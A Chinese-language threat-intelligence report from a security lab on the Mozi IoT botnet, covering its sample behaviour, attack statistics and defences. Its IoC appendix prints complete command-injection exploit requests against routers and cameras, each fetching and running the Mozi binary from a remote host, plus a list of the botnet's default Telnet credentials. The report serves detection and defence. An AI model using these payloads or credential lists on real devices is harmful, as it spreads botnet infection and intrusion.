作者:answerboy@知道創宇404積極防御實驗室
時間:2020年9月18日
1.概述
專項行動期間,某天各大藍隊群內都在交流最近是否收到很多來自印度的攻擊流量,最初部分認為是紅隊在使用印度IP進行攻擊。但很快發現事情好像并不是這么簡單,通過對攻擊Payload特征的分析,發現該攻擊不是專項行動紅隊所發起,而是來自一個正在迅速擴張的僵尸網絡——Mozi(墨子)僵尸網絡。
Mozi僵尸網絡是于2019年底首次出現在針對路由器和DVR 的攻擊場景上的一種P2P僵尸網絡。主要攻擊物聯網(IoT)設備,包括網件、D-Link和華為等路由設備。它本質上是Mirai的變種,但也包含Gafgyt和IoT Reaper的部分代碼,用于進行DDoS攻擊、數據竊取、垃圾郵件發送以及惡意命令執行和傳播。目前其規模已經迅速擴大,據統計目前已占到所有物聯網(IoT)僵尸網絡流量的90% 。
近日知道創宇404積極防御實驗室通過知道創宇云防御安全大數據平臺監測到大量來自印度IP的攻擊。經分析,其中大量的攻擊來自Mozi僵尸網絡,可能和近期印度Mozi僵尸網絡大范圍感染并傳播有關。
2.追溯分析
2.1發現攻擊
近日,知道創宇404積極防御實驗室監測到大量來自印度IP的Web攻擊,試圖通過遠程命令執行下載Mozi.m、Mozi.a等惡意文件到被攻擊設備上,且使用的User-Agent均為:“Hello, world”。使用的部分攻擊Payload如下:
cd+/tmp;rm+rf+*;wget+http://27.6.167.68:46222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1

通過對樣本的分析確定該樣本屬于Mozi僵尸網絡家族。
2.2詳細分析
2.2.1 Mozi.m樣本分析
捕獲到的樣本信息:
SHA256:bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf
ELF 頭:
| Magic | 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 |
|---|---|
| 類別 | ELF32 |
| 數據 | 2 補碼,大端序 (big endian) |
| Version | 1 (current) |
| OS/ABI | UNIX - System V |
| ABI 版本 | 0 |
| 類型 | EXEC (可執行文件) |
| 系統架構 | MIPS R3000 |
| 版本 | 0x1 |
| 入口點地址 | 0x41fb58 |
| 程序頭起點 | 52 (bytes into file) |
樣本通過UPX進行了加殼操作,且將p_info結構中的p_file_size和p_blocksize值擦除為了0,來增強自身的“安全性”。
在成功感染目標設備之后,Mozi為進行自我保護,會通過防火墻阻斷SSH、Telnet端口,以防止被其他僵尸網絡入侵:

根據感染的設備,修改防火墻策略放行不同的端口來保證自身的通信:

同時讀取/proc/net/tcp和/proc/net/raw來查找并KILL掉使用1536和5888端口的進程:

檢查被感染的設備上是否存在Watchdog來避免重啟:

檢查被感染的設備上是否存在/usr/bin/python,如果存在,則將進程名稱更改為sshd,不存在則更改為dropbear,以此來迷惑被攻擊者。

分析過程中發現Mozi僵尸網絡復用了部分Gafgyt家族僵尸網絡的代碼,其中內嵌了8個硬編碼的公共節點信息,用于加入P2P網絡,如下:

在樣本中還硬編碼了一個使用XOR加密的配置文件及密鑰:

使用硬編碼的秘鑰解密后得到如下配置數據:
[ss]bot[/ss][hp]88888888[/hp][count]http://ia.#/go1?id = 19894027&pu =http%3a%2f%2fbaidu.com/[idp][/count]。
新的Mozi節點向http://ia.#/發送HTTP請求,來注冊自身。
在通信流量中通過1:v4:JBls來標記是否為Mozi節點發起的通信。

所攻擊的設備類型包括:GPON光纖設備、NetGear路由設備、華為HG532交換機系列、D-Link路由設備、使用Realtek SDK的設備、Vacron監控攝像機、斐訊路由器、?USR-G806 4G工業無線路由器等:

同時還在樣本中發現硬編碼的部分用戶名和弱口令,用來對Telnet進行暴力破解攻擊,以擴大感染和傳播范圍,硬編碼的部分用戶名和密碼如下:

2.3攻擊分布
自9月以來知道創宇云防御共攔截了來自Mozi僵尸網絡的151,952個IP的攻擊,總計攔截攻擊14,228,252次。與8月份相比,來自印度的攻擊顯著增加,攔截到的來自印度的攻擊IP同比上漲了近30%,所攔截到的總攻擊次數上漲了近42%。下圖為知道創宇404積極防御實驗室自9月以來監測到的來自印度的攻擊IP TOP10:

通過對捕獲到的日志分析,對所有被攻擊的行業進行分類統計,其中被攻擊占比最高的為政府事業單位,以及部分部委機關系統及網站。這部分系統在所有被攻擊的行業中占比達到45%。如下:

目前Mozi僵尸網絡仍在快速擴張,且呈上升趨勢,臨近十一重保,各單位仍需提高警惕,做好安全防護措施,尤其是各級政府事業單位以及部委機關單位,應提前做好相關設備的安全檢查,避免被僵尸網絡入侵感染。
3.防護建議
- 1.設備關閉不必要的端口,對使用的端口號進行更改;
- 2.定期更新系統補丁,及時修復相關漏洞;
- 3.服務器切勿使用弱口令,避免被暴力破解;
- 4.根據附件中的Payload阻斷存在以下特征的通信;
- 5.關注設備上的可疑進程和外連訪問,尤其是近期來自印度的IP。
4附:IoCs
公共節點
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
ttracker.debian.org:6881
212.129.33.59:6881(ZoomEye搜索結果)
82.221.103.244:6881(ZoomEye搜索結果)
130.239.18.159:6881(ZoomEye搜索結果)
87.98.162.88:6881(ZoomEye搜索結果)
部分Payload
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://%s:%d/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
POST /picsdesc.xml HTTP/1.1
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: /
User-Agent: Hello-World
Connection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
POST /HNAP1/ HTTP/1.0
Host: %s:80
Content-Type: text/xml; charset="utf-8"
SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`
Content-Length: 640
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Host: %s:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7574
User-Agent: Hello, world
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 640
<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
POST /soap.cgi?service=WANIPConn1 HTTP/1.1
Host: %s:49152
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: */*
User-Agent: Hello, World
Connection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
暴力破解使用的用戶名及弱口令
| Username | Password |
|---|---|
| admin | 00000000 |
| telnetadmin | 1111 |
| !!Huawei | 1111111 |
| admin | 1234 |
| root | 12345 |
| root | 123456 |
| keomeo | 2010vesta |
| support | 2011vesta |
| CMCCAdmin | 25802580 |
| e8telnet | 54321 |
| e8ehome1 | 666666 |
| e8ehome | 7ujMko0admin |
| user | 7ujMko0vizxv |
| mother | 888888 |
| root | 88888888 |
| Administrator | @HuaweiHgw |
| service | BrAhMoS@15 |
| supervisor | CMCCAdmin |
| guest | CUAdmin |
| admin1 | Fireitup |
| administrator | GM8182 |
| ubnt | PhrQjGzk |
| tech | Pon521 |
| admin | Zte521 |
| admin | admin |
| telnet | admin1234 |
| adminHW | |
| adminpass | |
| anko | |
| cat1029 | |
| chzhdpl | |
| conexant | |
| default | |
| dreambox | |
| e2008jl | |
| e8ehome | |
| e8ehome1 | |
| e8telnet | |
| epicrouter | |
| fucker | |
| gpon | |
| guest | |
| gw1admin | |
| h@32LuyD | |
| hg2x0 | |
| hi3518 | |
| ikwb | |
| juantech | |
| jvbzd | |
| keomeo | |
| klv123 | |
| klv1234 | |
| meinsm | |
| pass | |
| password | |
| plumeria0077 | |
| r@p8p0r+ | |
| realtek | |
| root | |
| service | |
| smcadmin | |
| supervisor | |
| support | |
| system | |
| tech | |
| telnet | |
| telnetadmin | |
| ubnt | |
| user | |
| v2mprt | |
| vizxv | |
| xJ4pCYeW | |
| xc3511 | |
| xmhdipc | |
| zlxx | |
| zte | |
SHA256
bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf
c672798dca67f796972b42ad0c89e25d589d2e70eb41892d26adbb6a79f63887
5.參考鏈接:
https://kb.cert.org/vuls/id/582384/
https://www.cebnet.com.cn/20180302/102469557.html
https://cloud.tencent.com/developer/article/1366157
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1347/